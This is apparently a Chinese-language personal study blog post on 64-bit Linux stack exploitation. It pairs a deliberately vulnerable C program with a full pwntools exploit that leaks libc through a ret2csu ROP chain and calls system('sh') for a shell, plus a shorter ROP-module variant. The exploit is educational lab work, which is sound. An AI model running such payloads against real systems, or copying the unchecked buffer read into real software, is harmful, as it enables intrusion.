articles
articles copied to clipboard
Linux x64 pwn 学习
Linux x64 pwn 学习
新手学习了x86的下的相关pwn
,进而学习一下x64
环境下的pwn
,个人感觉还是很有必要的,完全个人学习,中间遇到很多的各种坑,这里只是简单记录一下
环境
Linux bins-virtual-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
pwntools
gef
用到的level.c
include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(1, "Hello, World\n", 13);
vulnerable_function();
}
生成可执行文件
gcc -fno-stack-protector -o level5 level.c
生成的文件
➜ ~ file level5
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=57fe0599820f34f5a59a994a24dfbf28e5e82cf5, not stripped
checksec
gef> checksec
[+] checksec for '/root/level5'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
构建gadgets
使用的exp
rom pwn import *
import sys
import os
import time
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
class Pwn(object):
def __init__(self, binary_file=None):
if binary_file:
self.binary_file = binary_file
self.elf = ELF(binary_file)
self.libc = self.elf.libc
self.write_plt = self.elf.symbols['write']
self.write_got = self.elf.got['write']
self.vul_addr = 0x400566
self.main = 0x400587
def get_overflow_position(self):
io = process(self.binary_file)
io.recvline()
io.send(cyclic(150))
io.recvall()
if os.path.isfile('./core'):
core = Core('./core')
if context.arch == 'amd64':
self.rip = cyclic_find(core.u32(core.rsp))
if context.arch == 'i386':
self.eip = cyclic_find(core.u32(core.eip))
def leak(self):
pass
def get_write_got(self):
"""
stack:
+----------+
| pop_ret |
+----------+
| rbx | <== 0
+----------+
| rbp | <== 1
+----------+
| r12 | <== write_got
+----------+
| r13 | <== rdx/arg2
+----------+
| r14 | <== rsi/arg1
+----------+
| r15 | <== rdi/arg0
+----------+
"""
self.io = process(self.binary_file)
self.io.recvline()
# gdb.attach(self.io, 'b vulnerable_function')
pop_mul_ret = 0x40061a
call_addr = 0x400600
payload1 = 'a' * self.rip
payload1 += p64(pop_mul_ret) + p64(0) + p64(1) + p64(self.write_got)
payload1 += p64(8) + p64(self.write_got) + p64(1)
payload1 += p64(call_addr)
payload1 += 'a' * 56
payload1 += p64(self.main)
self.io.send(payload1)
self.write_got_addr = self.io.recvn(8)
print 'Final Recive Data:', self.write_got_addr
print 'write_got_addr:', hex(u64(self.write_got_addr))
self.libc.address = u64(self.write_got_addr) - self.libc.symbols['write']
print 'lib.address:', hex(self.libc.address)
def get_shell(self):
"""
stack:
+-------------+
| pop_rdi_ret |
+-------------+
| bin_sh |
+-------------+
| system_addr |
+-------------+
"""
system_addr = self.libc.symbols['system']
bin_sh = self.libc.search('sh\x00').next()
pop_rdi_ret = 0x400623
payload2 = 'a' * self.rip
payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
self.io.send(payload2)
self.io.interactive()
def main():
pwn = Pwn('./level5')
pwn.get_overflow_position()
pwn.get_write_got()
pwn.get_shell()
if __name__ == "__main__":
main()
我的exp
是自己的环境和调试的结果,这个和蒸米的有很多的不同,因为用他的payload
即使变了自己的地址,也没法使用
结果
这里重点说一下payload
和payload2
的构建
payload1构建
正常我是使用ROP
模块自动构建的,但是这里由于程序比较小,找不到write
写之后平衡栈的汇编代码块,只能自己一步一步构建,这里使用蒸米所说的通用gadgets
函数__libc_csu_init
首先执行1
,更改rbx r12 r13 r14 r15
,栈类似于这样
+----------+
| pop_ret |
+----------+
| rbx | <== 0
+----------+
| rbp | <== 1
+----------+
| r12 | <== write_got
+----------+
| r13 | <== rdx/arg2
+----------+
| r14 | <== rsi/arg1
+----------+
| r15 | <== rdi/arg0
+----------+
之后通过指令跳转到1
执行,执行完1
弹出main
payload2构建
通过payload1
我们得到了write_got_addr
,进而可以得到libc.address
,之后再跳转即可执行system('/bin/sh')
其实可以更加简单,直接都利用ROP
模块完成
def get_shell(self):
bin_sh = self.libc.search('sh\x00').next()
rop = ROP(self.libc)
rop.system(bin_sh)
self.io.send(fit({self.rip: rop.chain()}))
self.io.interactive()
总结
碰到了很多坑
-
gdb.attach
很有可能会遇到各种失败或者错误,导致无法调试,个人目前的经验主要是由于payload
构建不正确,比如数据不够长啊,格式错误等等 - 注意和程序的交互,如果完全不考虑交互很容易产生各种不明所以的问题